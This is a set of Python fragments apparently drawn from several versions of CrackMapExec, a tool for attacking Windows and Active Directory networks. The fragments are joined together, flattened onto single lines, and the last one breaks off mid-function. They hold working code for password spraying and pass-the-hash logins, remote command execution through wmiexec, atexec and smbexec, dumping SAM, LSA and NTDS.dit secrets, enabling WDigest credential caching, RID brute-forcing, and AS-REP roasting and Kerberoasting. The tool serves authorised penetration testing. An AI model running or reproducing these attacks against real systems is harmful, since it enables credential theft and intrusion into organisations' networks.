try: c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=cred_id)[0] if not domain: domain = self.domain if self.args.local_auth: domain = self.domain elif self.args.domain: domain = self.args.domain if credtype == 'hash' and not self.over_fail_limit(username): self.hash_login(domain, username, password) elif credtype == 'plaintext' and not self.over_fail_limit(username): self.plaintext_login(domain, username, password) except IndexError: self.logger.error("Invalid database credential ID!") for user in self.args.username: if type(user) is file: for usr in user: if self.args.hash: with sem: for ntlm_hash in self.args.hash: if type(ntlm_hash) is not file: if not self.over_fail_limit(usr.strip()): if self.hash_login(self.domain, usr.strip(), ntlm_hash): return elif type(ntlm_hash) is file: for f_hash in ntlm_hash: if not self.over_fail_limit(usr.strip()): if self.hash_login(self.domain, usr.strip(), f_hash.strip()): return ntlm_hash.seek(0) elif self.args.password: with sem: for password in self.args.password: if type(password) is not file: if not self.over_fail_limit(usr.strip()): if self.plaintext_login(self.domain, usr.strip(), password): return elif type(password) is file: for f_pass in password: if not self.over_fail_limit(usr.strip()): if self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): return password.seek(0) elif type(user) is not file: if self.args.hash: with sem: for ntlm_hash in self.args.hash: if type(ntlm_hash) is not file: if not self.over_fail_limit(user): if self.hash_login(self.domain, user, ntlm_hash): return elif type(ntlm_hash) is file: for f_hash in ntlm_hash: if not self.over_fail_limit(user): if self.hash_login(self.domain, user, f_hash.strip()): return ntlm_hash.seek(0) elif self.args.password: with sem: for password in self.args.password: if type(password) is not file: if not self.over_fail_limit(user): if self.plaintext_login(self.domain, user, password): return elif type(password) is file: for f_pass in password: if not self.over_fail_limit(user): if self.plaintext_login(self.domain, user, f_pass.strip()): return password.seek(0) @requires_admin def execute(self, payload=None, get_output=False, methods=None): default_methods = ['wmiexec', 'atexec', 'smbexec'] if not payload and self.args.execute: payload = self.args.execute if not self.args.no_output: get_output = True if self.args.mssql: exec_method = MSSQLEXEC(self.conn) logging.debug('Executed command via mssqlexec') elif not self.args.mssql: if not methods and not self.args.exec_method: methods = default_methods elif methods or self.args.exec_method: if not methods: methods = [self.args.exec_method] for method in methods: if method == 'wmiexec': try: exec_method = WMIEXEC(self.host, self.username, self.password, self.domain, self.conn, self.hash, self.args.share) logging.debug('Executed command via wmiexec') break except: logging.debug('Error executing command via wmiexec, traceback:') logging.debug(format_exc()) continue elif method == 'atexec': try: exec_method = TSCH_EXEC(self.host, self.username, self.password, self.domain, self.hash) #self.args.share) logging.debug('Executed command via atexec') break except: logging.debug('Error executing command via atexec, traceback:') logging.debug(format_exc()) continue elif method == 'smbexec': try: exec_method = SMBEXEC(self.host, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share) logging.debug('Executed command via smbexec') break except: logging.debug('Error executing command via smbexec, traceback:') logging.debug(format_exc()) continue if self.cmeserver: if hasattr(self.cmeserver.server.module, 'on_request') or hasattr(self.cmeserver.server.module, 'on_response'): self.cmeserver.server.hosts.append(self.host) output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8')) if self.args.execute or self.args.ps_execute: self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else '')) buf = StringIO(output).readlines() for line in buf: self.logger.highlight(line.strip()) return output @requires_admin def ps_execute(self, payload=None, get_output=False, methods=None): if not payload and self.args.ps_execute: payload = self.args.ps_execute if not self.args.no_output: get_output = True return self.execute(create_ps_command(payload), get_output, methods) @requires_admin def sam(self): return DumpSecrets(self).SAM_dump() @requires_admin def lsa(self): return DumpSecrets(self).LSA_dump() @requires_admin def ntds(self): #We could just return the whole NTDS.dit database but in large domains it would be huge and would take up too much memory DumpSecrets(self).NTDS_dump(self.args.ntds, self.args.ntds_pwdLastSet, self.args.ntds_history) @requires_admin def wdigest(self): return getattr(WDIGEST(self), self.args.wdigest)() def shares(self): return ShareEnum(self).enum() @requires_admin def uac(self): return UAC(self).enum() def sessions(self): return RPCQUERY(self).enum_sessions() def disks(self): return RPCQUERY(self).enum_disks() def users(self): return SAMRDump(self).enum() def rid_brute(self): return LSALookupSid(self).brute_force() def pass_pol(self): return PassPolDump(self).enum() def lusers(self): return RPCQUERY(self).enum_lusers() @requires_admin def wmi(self): return WMIQUERY(self).query() def spider(self): spider = SMBSpider(self) spider.spider(self.args.spider, self.args.depth) spider.finish() return spider.results def mssql_query(self): self.conn.sql_query(self.args.mssql_query) return conn.printRows()
class winrm(connection): def __init__(self, args, db, host): self.domain = None connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser]) dgroup = winrm_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") cgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') return parser def proto_flow(self): self.proto_logger() if self.create_conn_obj(): self.enum_host_info() self.print_host_info() if self.login(): if hasattr(self.args, 'module') and self.args.module: self.call_modules() else: self.call_cmd_args() def proto_logger(self): self.logger = CMEAdapter(extra={'protocol': 'WINRM', 'host': self.host, 'port': 'NONE', 'hostname': 'NONE'}) def enum_host_info(self): try: smb_conn = SMBConnection(self.host, self.host, None) try: smb_conn.login('', '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.domain = smb_conn.getServerDomain() self.hostname = smb_conn.getServerName() self.logger.extra['hostname'] = self.hostname try: smb_conn.logoff() except: pass except Exception as e: logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e)) if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname def print_host_info(self): self.logger.info(self.endpoint) def create_conn_obj(self): endpoints = [ 'https://{}:5986/wsman'.format(self.host), 'http://{}:5985/wsman'.format(self.host) ] for url in endpoints: try: requests.get(url, verify=False, timeout=10) self.endpoint = url if self.endpoint.startswith('https://'): self.port = 5986 else: self.port = 5985 self.logger.extra['port'] = self.port return True except Exception as e: if 'Max retries exceeded with url' not in str(e): logging.debug('Error in WinRM create_conn_obj:' + str(e)) return False def plaintext_login(self, domain, username, password): try: self.conn = pywinrm.Session(self.host, auth=('{}\\{}'.format(domain, username), password), transport='ntlm', server_cert_validation='ignore') # TO DO: right now we're just running the hostname command to make the winrm library auth to the server # we could just authenticate without running a command :) (probably) self.conn.run_cmd('hostname') self.admin_privs = True self.logger.success(u'{}\\{}:{} {}'.format(self.domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8'), highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) return True except Exception as e: self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8'), e)) return False def parse_output(self, response_obj): if response_obj.status_code == 0: buf = StringIO(response_obj.std_out).readlines() for line in buf: self.logger.highlight(line.decode('utf-8').strip()) return response_obj.std_out else: buf = StringIO(response_obj.std_err).readlines() for line in buf: self.logger.highlight(line.decode('utf-8').strip()) return response_obj.std_err def execute(self, payload=None, get_output=False): r = self.conn.run_cmd(self.args.execute) self.logger.success('Executed command') self.parse_output(r) def ps_execute(self, payload=None, get_output=False): r = self.conn.run_ps(self.args.ps_execute) self.logger.success('Executed command') self.parse_output(r)
def main(): setup_logger() logger = CMEAdapter() first_run_setup(logger) args = gen_cli_args() if args.darrell: links = open(os.path.join(os.path.dirname(cme.__file__), 'data', 'videos_for_darrell.harambe')).read().splitlines() try: webbrowser.open(random.choice(links)) except: sys.exit(1) cme_path = os.path.expanduser('~/.cme') config = ConfigParser() config.read(os.path.join(cme_path, 'cme.conf')) module = None module_server = None targets = [] jitter = None server_port_dict = {'http': 80, 'https': 443, 'smb': 445} current_workspace = config.get('CME', 'workspace') if args.verbose: setup_debug_logger() logging.debug('Passed args:\n' + pformat(vars(args))) if args.jitter: if '-' in args.jitter: start, end = args.jitter.split('-') jitter = (int(start), int(end)) else: jitter = (0, int(args.jitter)) if hasattr(args, 'username') and args.username: for user in args.username: if os.path.exists(user): args.username.remove(user) args.username.append(open(user, 'r')) if hasattr(args, 'password') and args.password: for passw in args.password: if os.path.exists(passw): args.password.remove(passw) args.password.append(open(passw, 'r')) elif hasattr(args, 'hash') and args.hash: for ntlm_hash in args.hash: if os.path.exists(ntlm_hash): args.hash.remove(ntlm_hash) args.hash.append(open(ntlm_hash, 'r')) if hasattr(args, 'cred_id') and args.cred_id: for cred_id in args.cred_id: if '-' in str(cred_id): start_id, end_id = cred_id.split('-') try: for n in range(int(start_id), int(end_id) + 1): args.cred_id.append(n) args.cred_id.remove(cred_id) except Exception as e: logger.error('Error parsing database credential id: {}'.format(e)) sys.exit(1) if hasattr(args, 'target') and args.target: for target in args.target: if os.path.exists(target): with open(target, 'r') as target_file: for target_entry in target_file: targets.extend(parse_targets(target_entry)) else: targets.extend(parse_targets(target)) # The following is a quick hack for the powershell obfuscation functionality, I know this is yucky if hasattr(args, 'clear_obfscripts') and args.clear_obfscripts: shutil.rmtree(os.path.expanduser('~/.cme/obfuscated_scripts/')) os.mkdir(os.path.expanduser('~/.cme/obfuscated_scripts/')) logger.success('Cleared cached obfuscated PowerShell scripts') if hasattr(args, 'obfs') and args.obfs: powershell.obfuscate_ps_scripts = True p_loader = protocol_loader() protocol_path = p_loader.get_protocols()[args.protocol]['path'] protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath'] protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol) protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), 'database') db_path = os.path.join(cme_path, 'workspaces', current_workspace, args.protocol + '.db') # set the database connection to autocommit w/ isolation level db_connection = sqlite3.connect(db_path, check_same_thread=False) db_connection.text_factory = str db_connection.isolation_level = None db = protocol_db_object(db_connection) if hasattr(args, 'module'): loader = module_loader(args, db, logger) if args.list_modules: modules = loader.get_modules() for name, props in sorted(modules.items()): logger.info('{:<25} {}'.format(name, props['description'])) sys.exit(0) elif args.module and args.show_module_options: modules = loader.get_modules() for name, props in modules.items(): if args.module.lower() == name.lower(): logger.info('{} module options:\n{}'.format(name, props['options'])) sys.exit(0) elif args.module: modules = loader.get_modules() for name, props in modules.items(): if args.module.lower() == name.lower(): module = loader.init_module(props['path']) setattr(protocol_object, 'module', module) break if not module: logger.error('Module not found') exit(1) if getattr(module, 'opsec_safe') is False: ans = raw_input(highlight('[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ', 'red')) if ans.lower() not in ['y', 'yes', '']: sys.exit(1) if getattr(module, 'multiple_hosts') is False and len(targets) > 1: ans = raw_input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", 'red')) if ans.lower() not in ['y', 'yes', '']: sys.exit(1) if hasattr(module, 'on_request') or hasattr(module, 'has_response'): if hasattr(module, 'required_server'): args.server = getattr(module, 'required_server') if not args.server_port: args.server_port = server_port_dict[args.server] context = Context(db, logger, args) module_server = CMEServer(module, context, logger, args.server_host, args.server_port, args.server) module_server.start() setattr(protocol_object, 'server', module_server.server) try: ''' Open all the greenlet (as supposed to redlet??) threads Whoever came up with that name has a fetish for traffic lights ''' pool = Pool(args.threads) jobs = [] for target in targets: jobs.append(pool.spawn(protocol_object, args, db, str(target))) if jitter: value = random.choice(range(jitter[0], jitter[1])) logging.debug("Doin' the Jitterbug for {} seconds".format(value)) sleep(value) for job in jobs: job.join(timeout=args.timeout) except KeyboardInterrupt: pass if module_server: module_server.shutdown()
def proto_logger(self): self.logger = CMEAdapter(extra={'protocol': 'WINRM', 'host': self.host, 'port': 'NONE', 'hostname': 'NONE'})
def log_message(self, format, *args): server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]}) server_logger.info("- - %s" % (format%args))
def __init__(self, args, db, host, module, cmeserver): self.args = args self.db = db self.host = host self.module = module self.cmeserver = cmeserver self.conn = None self.hostname = None self.domain = None self.server_os = None self.logger = None self.password = None self.username = None self.hash = None self.admin_privs = False self.failed_logins = 0 try: smb = SMBConnection(self.host, self.host, None, self.args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.host = remote_ip self.domain = smb.getServerDomain() self.hostname = smb.getServerName() self.server_os = smb.getServerOS() if not self.domain: self.domain = self.hostname self.db.add_host(self.host, self.hostname, self.domain, self.server_os) self.logger = CMEAdapter(getLogger('CME'), { 'host': self.host, 'port': self.args.smb_port, 'hostname': u'{}'.format(self.hostname) }) self.logger.info(u"{} (name:{}) (domain:{})".format( self.server_os, self.hostname.decode('utf-8'), self.domain.decode('utf-8') )) try: ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection (go home Windows, you're drunk) ''' smb.logoff() except: pass if self.args.mssql: instances = None self.logger.extra['port'] = self.args.mssql_port mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger) mssql.connect() instances = mssql.getInstances(10) if len(instances) > 0: self.logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): self.logger.highlight("Instance {}".format(i)) for key in instance.keys(): self.logger.highlight(key + ":" + instance[key]) try: mssql.disconnect() except: pass if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id: if self.args.mssql and (instances is not None and len(instances) > 0): self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger) self.conn.connect() elif not args.mssql: self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port) except socket.error: pass if self.conn: if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname self.login() if ((self.password is not None or self.hash is not None) and self.username is not None): if self.module: module_logger = CMEAdapter(getLogger('CME'), { 'module': module.name.upper(), 'host': self.host, 'port': self.args.smb_port, 'hostname': self.hostname }) context = Context(self.db, module_logger, self.args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if hasattr(module, 'on_login'): module.on_login(context, self) if hasattr(module, 'on_admin_login') and self.admin_privs: module.on_admin_login(context, self) elif self.module is None: for k, v in vars(self.args).iteritems(): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if v is not False and v is not None: getattr(self, k)()
def main(): VERSION = '3.1.5dev' CODENAME = '\'Smidge\'' parser = argparse.ArgumentParser( description=""" ______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______ / || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / | | ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----' | | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | | | `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----. \______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______| Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino) Inspired by: @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap @gojhonny's CredCrack https://github.com/gojhonny/CredCrack @pentestgeek's smbexec https://github.com/pentestgeek/smbexec {}: {} {}: {} """.format(highlight('Version', 'red'), highlight(VERSION), highlight('Codename', 'red'), highlight(CODENAME)), formatter_class=RawTextHelpFormatter, version='{} - {}'.format(VERSION, CODENAME), epilog="Y'all got any more of that smidge left?") parser.add_argument( "target", nargs='*', type=str, help= "The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets" ) parser.add_argument( "-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)") parser.add_argument( '-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='Database credential ID(s) to use for authentication') parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="Username(s) or file(s) containing usernames") ddgroup = parser.add_mutually_exclusive_group() ddgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name") ddgroup.add_argument("--local-auth", action='store_true', help='Authenticate locally to each target') msgroup = parser.add_mutually_exclusive_group() msgroup.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="Password(s) or file(s) containing passwords") msgroup.add_argument( "-H", metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') mcgroup = parser.add_mutually_exclusive_group() mcgroup.add_argument("-M", "--module", metavar='MODULE', help='Payload module to use') parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='Payload module options') parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules') parser.add_argument('--show-options', action='store_true', help='Display module options') parser.add_argument("--share", metavar="SHARE", default="C$", help="Specify a share (default: C$)") parser.add_argument("--smb-port", type=int, choices={139, 445}, default=445, help="SMB port (default: 445)") parser.add_argument("--mssql-port", default=1433, type=int, metavar='PORT', help='MSSQL port (default: 1433)') parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (default: https)') parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)') parser.add_argument("--server-port", metavar='PORT', type=int, help='Start the server on the specified port') parser.add_argument( "--timeout", default=20, type=int, help='Max timeout in seconds of each thread (default: 20)') fail_group = parser.add_mutually_exclusive_group() fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='Max number of global failed login attempts') fail_group.add_argument( "--ufail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per username') fail_group.add_argument( "--fail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per host') parser.add_argument("--verbose", action='store_true', help="Enable verbose output") rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials") rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems') rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems') rgroup.add_argument( "--ntds", choices={'vss', 'drsuapi'}, help= "Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)" ) rgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') rgroup.add_argument( "--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') rgroup.add_argument( "--wdigest", choices={'enable', 'disable'}, help= "Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1" ) egroup = parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") egroup.add_argument("--shares", action="store_true", help="Enumerate shares and access") egroup.add_argument('--uac', action='store_true', help='Checks UAC status') egroup.add_argument("--sessions", action='store_true', help='Enumerate active sessions') egroup.add_argument('--disks', action='store_true', help='Enumerate disks') egroup.add_argument("--users", action='store_true', help='Enumerate users') egroup.add_argument( "--rid-brute", nargs='?', const=4000, metavar='MAX_RID', help='Enumerate users by bruteforcing RID\'s (default: 4000)') egroup.add_argument("--pass-pol", action='store_true', help='Dump password policy') egroup.add_argument("--lusers", action='store_true', help='Enumerate logged on users') egroup.add_argument("--wmi", metavar='QUERY', type=str, help='Issues the specified WMI query') egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)') sgroup = parser.add_argument_group("Spidering", "Options for spidering shares") sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', const='.', type=str, help='Folder to spider (default: root directory)') sgroup.add_argument("--content", action='store_true', help='Enable file content searching') sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='Directories to exclude from spidering') esgroup = sgroup.add_mutually_exclusive_group() esgroup.add_argument( "--pattern", nargs='+', help='Pattern(s) to search for in folders, filenames and file content') esgroup.add_argument( "--regex", nargs='+', help='Regex(s) to search for in folders, filenames and file content') sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion depth (default: 10)') cgroup = parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument( '--exec-method', choices={"wmiexec", "smbexec", "atexec"}, default=None, help= "Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)" ) cgroup.add_argument( '--force-ps32', action='store_true', help='Force the PowerShell command to run in a 32-bit process') cgroup.add_argument('--no-output', action='store_true', help='Do not retrieve command output') xxxgroup = cgroup.add_mutually_exclusive_group() xxxgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="Execute the specified command") xxxgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='Execute the specified PowerShell command') mgroup = parser.add_argument_group( "MSSQL Interaction", "Options for interacting with MSSQL DBs") mgroup.add_argument( "--mssql", action='store_true', help= 'Switches CME into MSSQL Mode. If credentials are provided will authenticate against all discovered MSSQL DBs' ) mgroup.add_argument("--mssql-query", metavar='QUERY', type=str, help='Execute the specifed query against the MSSQL DB') mgroup.add_argument( "--mssql-auth", choices={'windows', 'normal'}, default='windows', help='MSSQL authentication type to use (default: windows)') logger = CMEAdapter(setup_logger()) first_run_setup(logger) if len(sys.argv) == 1: parser.print_help() sys.exit(1) cme_path = os.path.expanduser('~/.cme') module = None server = None context = None targets = [] args = parser.parse_args() if args.verbose: setup_debug_logger() logging.debug(vars(args)) db_path = os.path.join(cme_path, 'cme.db') # set the database connection to autocommit w/ isolation level db_connection = sqlite3.connect(db_path, check_same_thread=False) db_connection.text_factory = str db_connection.isolation_level = None db = CMEDatabase(db_connection) if args.username: for user in args.username: if os.path.exists(user): args.username.remove(user) args.username.append(open(user, 'r')) if args.password: for passw in args.password: if os.path.exists(passw): args.password.remove(passw) args.password.append(open(passw, 'r')) elif args.hash: for ntlm_hash in args.hash: if os.path.exists(ntlm_hash): args.hash.remove(ntlm_hash) args.hash.append(open(ntlm_hash, 'r')) if args.cred_id: for cred_id in args.cred_id: if '-' in str(cred_id): start_id, end_id = cred_id.split('-') try: for n in range(int(start_id), int(end_id) + 1): args.cred_id.append(n) args.cred_id.remove(cred_id) except Exception as e: logger.error( 'Error parsing database credential id: {}'.format(e)) sys.exit(1) for target in args.target: if os.path.exists(target): with open(target, 'r') as target_file: for target_entry in target_file: targets.extend(parse_targets(target_entry)) else: targets.extend(parse_targets(target)) if args.list_modules or args.show_options: loader = ModuleLoader(args, db, logger) modules = loader.get_modules() if args.list_modules: for m in modules: logger.info('{:<20} {}'.format(m, modules[m]['description'])) sys.exit(0) elif args.module and args.show_options: for m in modules.keys(): if args.module.lower() == m.lower(): logger.info('{} module options:\n{}'.format( m, modules[m]['options'])) sys.exit(0) if args.module: if os.geteuid() != 0: logger.error( "I'm sorry {}, I'm afraid I can't let you do that (cause I need root)" .format(getuser())) sys.exit(1) loader = ModuleLoader(args, db, logger) modules = loader.get_modules() if args.module: for m in modules.keys(): if args.module.lower() == m.lower(): module, context, server = loader.init_module( modules[m]['path']) try: ''' Open all the greenlet (as supposed to redlet??) threads Whoever came up with that name has a fetish for traffic lights ''' pool = Pool(args.threads) jobs = [ pool.spawn(Connection, args, db, str(target), module, server) for target in targets ] #Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout if args.ntds or args.spider: joinall(jobs) elif not args.ntds: for job in jobs: job.join(timeout=args.timeout) except KeyboardInterrupt: pass if server: server.shutdown() logger.info('KTHXBYE!')
def log_message(self, format, *args): module = self.server.host_chain[self.client_address[0]][0] server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]}) server_logger.info("- - %s" % (format%args))
class ldap(connection): def __init__(self, args, db, host): self.domain = None self.server_os = None self.os_arch = 0 self.hash = None self.ldapConnection = None self.lmhash = '' self.nthash = '' self.baseDN = '' self.remote_ops = None self.bootkey = None self.output_filename = None self.smbv1 = None self.signing = False self.smb_share_name = smb_share_name connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): ldap_parser = parser.add_parser('ldap', help="own stuff using ldap", parents=[std_parser, module_parser]) ldap_parser.add_argument( "-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') ldap_parser.add_argument( "--no-bruteforce", action='store_true', help= 'No spray when using file for username and password (user1 => password1, user2 => password2' ) ldap_parser.add_argument( "--continue-on-success", action='store_true', help="continues authentication attempts even after successes") ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)") dgroup = ldap_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') egroup = ldap_parser.add_argument_group( "Retrevie hash on the remote DC", "Options to get hashes from Kerberos") egroup.add_argument( "--asreproast", help="Get AS_REP response ready to crack with hashcat") egroup.add_argument("--kerberoasting", help='Get TGS ticket ready to crack with hashcat') vgroup = ldap_parser.add_argument_group( "Retrieve useful information on the domain", "Options to to play with Kerberos") vgroup.add_argument( "--trusted-for-delegation", action="store_true", help= "Get the list of users and computers with flag TRUSTED_FOR_DELEGATION" ) vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1") return parser def proto_logger(self): self.logger = CMEAdapter( extra={ 'protocol': 'LDAP', 'host': self.host, 'port': self.args.port, 'hostname': self.hostname }) def get_os_arch(self): try: stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() if self.args.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() try: dce.bind( MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) except (DCERPCException, e): if str(e).find('syntaxes_not_supported') >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except Exception as e: logging.debug('Error retrieving os arch of {}: {}'.format( self.host, str(e))) return 0 def enum_host_info(self): self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] try: self.conn.login('', '') except: #if "STATUS_ACCESS_DENIED" in e: pass self.domain = self.conn.getServerDNSDomainName() self.hostname = self.conn.getServerName() self.server_os = self.conn.getServerOS() self.signing = self.conn.isSigningRequired( ) if self.smbv1 else self.conn._SMBConnection._Connection[ 'RequireSigning'] self.os_arch = self.get_os_arch() self.output_filename = os.path.expanduser( '~/.cme/logs/{}_{}_{}'.format( self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) if not self.domain: self.domain = self.hostname try: '''plaintext_login DC's seem to want us to logoff first, windows workstations sometimes reset the connection (go home Windows, you're drunk) ''' self.conn.logoff() except: pass if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname #Re-connect since we logged off self.create_conn_obj() def print_host_info(self): self.logger.info( u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format( self.server_os, ' x{}'.format(self.os_arch) if self.os_arch else '', self.hostname, self.domain, self.signing, self.smbv1)) def kerberos_login(self, aesKey, kdcHost): # Create the baseDN domainParts = self.domain.split('.') for i in domainParts: self.baseDN += 'dc=%s,' % i # Remove last ',' self.baseDN = self.baseDN[:-1] if self.kdcHost is not None: target = self.kdcHost else: target = self.domain try: self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, kdcHost=self.kdcHost) except ldap_impacket.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL self.ldapConnection = ldap_impacket.LDAPConnection( 'ldaps://%s' % target, self.baseDN, self.kdcHost) self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, kdcHost=self.kdcHost) return True def plaintext_login(self, domain, username, password): self.username = username self.password = password self.domain = domain # Create the baseDN domainParts = self.domain.split('.') for i in domainParts: self.baseDN += 'dc=%s,' % i # Remove last ',' self.baseDN = self.baseDN[:-1] if self.kdcHost is not None: target = self.kdcHost else: target = domain # Connect to LDAP try: self.ldapConnection = ldap_impacket.LDAPConnection( 'ldap://%s' % target, self.baseDN, self.kdcHost) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) except ldap_impacket.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL self.ldapConnection = ldap_impacket.LDAPConnection( 'ldaps://%s' % target, self.baseDN, self.kdcHost) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) try: self.ldapConnection.search(searchFilter='(objectCategory=nop)') out = u'{}{}:{}'.format('{}\\'.format(domain), username, password) self.logger.success(out) except ldap_impacket.LDAPSearchError as e: if self.password == '': hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) if hash_TGT: self.logger.highlight(u'{}'.format(hash_TGT)) with open(self.args.asreproast, 'a+') as hash_asreproast: hash_asreproast.write(hash_TGT + '\n') else: self.logger.error(u'{}\{}:{}'.format(self.domain, self.username, self.password)) return False return True def hash_login(self, domain, username, ntlm_hash): lmhash = '' nthash = '' #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.username = username self.domain = domain # Create the baseDN domainParts = self.domain.split('.') for i in domainParts: self.baseDN += 'dc=%s,' % i # Remove last ',' self.baseDN = self.baseDN[:-1] if self.kdcHost is not None: target = self.kdcHost else: target = domain # 